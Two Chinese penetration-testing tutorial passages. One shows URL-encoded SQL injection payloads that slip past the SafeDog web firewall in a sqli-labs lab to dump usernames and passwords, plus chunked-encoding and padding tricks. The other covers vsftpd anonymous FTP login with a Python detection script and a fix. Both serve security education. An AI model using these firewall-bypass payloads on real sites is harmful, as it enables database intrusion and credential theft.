--+回车%0a的绕过方式http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and /*!-- /* table_name*/="users" --+爆数据，已知表名为users，字段为id,username,password，并设置每个字段的分隔符为-，separator '-'http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(id,username,password separator '-') from /*!-- /* users*/ --+这里使用的是sqli第12关有安全狗防火墙，数据包如下uname=123")%20and%20updatexml(0x3a,concat(0x3a,(select%20user()),0x3a),0x3a)#&passwd=123&submit=Submit进行分块传输（这里用到一个插件）联系作者即可获取（备注【分块插件】）编码请求体后注意最后两行需要空着，但凡少一行都会造成请求不成功少一行之后，响应失败脏数据构造大型数据包比如但是如果没有足够大的数据包，也是不能够进行绕过的，比如数据包中post无限制，get可能会进行限制hex编码这里没有复现案例，仅供参考前提：没有过滤掉0x例如select * from users where name="admin"总结通过本文的详细解析和实验，我们深入了解了SQL注入攻击的基本原理及其在实际应用中的变种和绕过技巧。在面对如安全狗这样的WAF防护时，攻击者并非束手无策，而是可以通过多种方式绕过检测规则，成功实施SQL注入攻击。本文首先通过基础的SQL注入测试，验证了安全狗WAF对“and 1=1”等简单SQL注入模式的识别能力。随后，通过拆分和注释符的使用，我们发现WAF可能是通过识别特定模式（如“and”后紧跟空格和字符）来拦截SQL注入的。基于此发现，我们进一步尝试利用注释符、换行符等技术手段绕过WAF的检测，成功实施了更复杂的SQL注入攻击，包括联合查询注入，获取数据库表名、列名以及具体数据等。通过本文的学习，我们不仅能够加深对SQL注入攻击的理解，还能够掌握一些实用的绕过WAF防护的技巧。然而，需要强调的是，这些技巧仅用于合法的安全测试和教育目的，任何未经授权的SQL注入攻击都是非法的，并可能带来严重的法律后果。因此，我们呼吁广大开发人员和安全从业者，应持续关注和提升Web应用的安全性，共同维护网络空间的安全与稳定。免责声明：本渗透教程仅供安全研究与教育目的使用。任何未经授权的网络活动均属非法。读者应确保拥有合法权限，并对自己的行为负责。教程内容不保证绝对安全或成功，使用风险自负。
FTP协议-匿名用户登录前言日常大家可能接触web漏洞比较多而对其他端口及协议不那么了解，其实其他协议漏洞在渗透中也同样重要只是平时可能接触得不多。本文将介绍FTP协议、FTP匿名用户登录及其具体流程分析和自动化利用demo。FTP简介FTP是File Transfer Protocol（文件传输协议）的简称，用于internet上的控制文件的双向传输。很多人以为FTP是一个服务，实际上FTP 是一个协议而不是一个服务，应用到FTP协议的服务有很多，常用的就是vsFTPd。FTP有三种用户模式： 匿名用户模式： 允许任何人无需提供用户名和密码即可登录 FTP 服务器。 通常对访问权限有严格限制，只能访问特定的公共目录，并且可能无法进行上传、删除等操作。 本地用户模式： 使用服务器操作系统中的本地用户账号和密码进行登录。 登录后，用户的权限与在本地操作系统中的权限相同。 比如，服务器上有个用户名为“user1”，其在操作系统中具有特定的文件和目录权限，那么在通过 FTP 以“user1”登录时，将拥有相同的权限。 虚拟用户模式： 这并非真正的操作系统用户，而是 FTP 服务器自定义的用户。 具有特定的权限配置，可根据需求灵活设置权限，实现更精细的访问控制。 常用于需要为 FTP 服务创建特殊权限用户，而又不想直接使用本地系统用户的情况。 FTP协议占用情况：21端口:命令控制，用于接收客户端执行的FTP命令。20端口:数据传输，用于上传、下载文件数据。、FTP服务搭建-vsftpdvsftpd默认以匿名用户访问，不修改配置文件的话本身就存在匿名用户登录漏洞。vsftpd安装yum -y install vsftpd服务启动systemctl vsftpd start防火墙规则放行firewall-cmd --zone=public --add-service=ftp --permanent firewall-cmd --zone=public --add-port=21/tcp --permanent复现分析进行连接ftp 192.168.174.128输入用户名 anonymous和ftp都行经过测试发现密码置为空或者是随意输入都可成功登录抓包分析首先进行TCP三次握手建立连接建立连接后服务端向客户端发送包，表示服务已为新连接的用户就绪以及一些服务信息客户端发送包表示表示服务器需要切换到UTF8字符集进行工作服务端再向客户端回包表示表示命令执行成功且已在工作再UTF8模式下接下来就是整个登录的流程，包括指定用户、输入密码和登录成功指定登录用户提示输入密码输入密码提示登录成功脚本测试可以使用python的ftplib库模拟FTP协议登陆的行为来进行自动化测试简单demo# -*- coding:utf-8 -*- """ @Created on : 2024/8/1 16:28 @Auther: c @Des: """ import ftplib from loguru import logger def anonymous_login(ip): try: ftp = ftplib.FTP(ip) logger.info("尝试匿名用户登录" + ip) ftp.login() except ftplib.all_errors as e: logger.info(f"匿名用户利用失败: {e}") else: logger.info("存在匿名用户" + ip) if __name__ == '__main__': anonymous_login('192.168.174.128')我们可以具体跟进看到login函数默认的用户为anonymous密码为anonymous@确实是登录成功了修复措施vsftpd下禁用匿名用户登录需修改配置文件/etc/vsftpd/vsftpd.conf，将anonymous_enable=YES修改为anonymous_enable=NO，再重新启动服务。再次用脚本测试可以看到登陆失败在wireshark中同样也是总结针对端口协议自动化探测及利用的脚本编写在此只做了简单demo示例。如果想更进一步，可以对端口进行遍历或指定探测，与特定服务返回数据包中固定字段进行匹配识别出协议再打对应协议漏洞poc。